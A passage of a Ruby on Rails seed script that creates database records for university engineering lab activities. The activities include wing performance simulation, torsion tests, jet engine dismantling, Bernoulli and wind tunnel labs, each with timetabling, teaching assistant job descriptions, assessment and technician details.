with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a101.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a101.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a101.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a102 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 2)\n at102 = ActivityTimetable.where(activity_id: a102.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a102.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a102.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a102.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a102.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a102.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a103 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at103 = ActivityTimetable.where(activity_id: a103.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a103.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a103.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a103.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a103.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a103.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a104 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 5)\n at104 = ActivityTimetable.where(activity_id: a104.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a104.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a104.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a104.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a104.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a104.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a105 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 4)\n at105 = ActivityTimetable.where(activity_id: a105.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a105.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a105.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a105.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a105.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a105.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a106 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER302\").first.id, code: \"unknowncode1\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: false, in_drive: true, user_id: 5)\n at106 = ActivityTimetable.where(activity_id: a106.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"PUPS\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a106.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a106.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a106.id).first_or_create!(assess_weight: nil, notes: \"During - 3 build reviews, post - 1 flight review, operations manual & financial report, poster presentation & self assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 8)\n ActivityTech.where(activity_id: a106.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a106.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a107 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER385\").first.id, code: \"309\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: true, in_drive: true, user_id: 4)\n at107 = ActivityTimetable.where(activity_id: a107.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a107.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a107.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a107.id).first_or_create!(assess_weight: nil, notes: \"During, 2 reports and 1 presentation\n This is a semester long module with 3 assessment points in the course of the semester.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a107.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a107.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a108 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC205\").first.id, code: \"310\").first_or_create!(name: \"Jet engine strip down\",\n name_abrv: \"JETSTRIP\", archived: false, in_drive: true, user_id: 3)\n at108 = ActivityTimetable.where(activity_id: a108.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a108.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a108.id).first_or_create!(criteria: \"You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine. You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a108.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a108.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a108.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a109 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"311\").first_or_create!(name: \"Jet Engine Dismantling\",\n name_abrv: \"DISMANTLING\", archived: false, in_drive: true, user_id: 1)\n at109 = ActivityTimetable.where(activity_id: a109.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a109.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a109.id).first_or_create!(criteria: \"A knowledge of materials, manufacturing methods, or thermodynamics of jet engines would also be desirable in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a109.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a109.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a109.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a110 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"312\").first_or_create!(name: \"JETLAB\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 3)\n at110 = ActivityTimetable.where(activity_id: a110.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a110.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a110.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"In this lab, students operate a small jet engine and take thermodynamic measurements so that they can perform calculations of engine efficiency.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a110.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a110.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a110.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a111 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 2)\n at111 = ActivityTimetable.where(activity_id: a111.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a111.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a111.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a111.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a111.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a111.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a112 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: false, user_id: 5)\n at112 = ActivityTimetable.where(activity_id: a112.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a112.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybncc97l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a112.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a112.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a112.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a112.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a113 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 1)\n at113 = ActivityTimetable.where(activity_id: a113.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"For all of civ104: \n The plan next year is complete hydrostatic forces by the end of week 5, buoyance and metacenters by the end of week 6, any Bernoulli related lectures by end of week 8, we will start the momentum lectures in week 9, but will not have completed these by week 10, but the students have a field trip in week 11, so I think doing the impact of jets lab in week 10 shoul;d be fine.\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a113.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybmcc5xt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a113.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a113.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a113.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a113.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a114 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 4)\n at114 = ActivityTimetable.where(activity_id: a114.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a114.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a114.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a114.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a114.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a114.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a115 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 4)\n at115 = ActivityTimetable.where(activity_id: a115.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a115.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yasyk22s\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a115.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a115.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a115.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a115.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a116 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: false, user_id: 2)\n at116 = ActivityTimetable.where(activity_id: a116.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a116.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a116.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a116.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a116.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a116.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a117 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 3)\n at117 = ActivityTimetable.where(activity_id: a117.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a117.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycwo32oq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a117.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a117.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a117.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a117.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a118 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4750\").first.id, code: \"403\").first_or_create!(name: \"Coastal Engineering\",\n name_abrv: \"COASTAL\", archived: false, in_drive: true, user_id: 5)\n at118 = ActivityTimetable.where(activity_id: a118.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a118.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zrtczgr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a118.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a118.id).first_or_create!(assess_weight: nil, notes: \"Not our teaching - belongs to department\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a118.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a118.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a119 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"404\").first_or_create!(name: \"Custard Run\",\n name_abrv: \"CUSTARD\", archived: true, in_drive: true, user_id: 4)\n at119 = ActivityTimetable.where(activity_id: a119.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 360, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a119.id).first_or_create!(user_id: 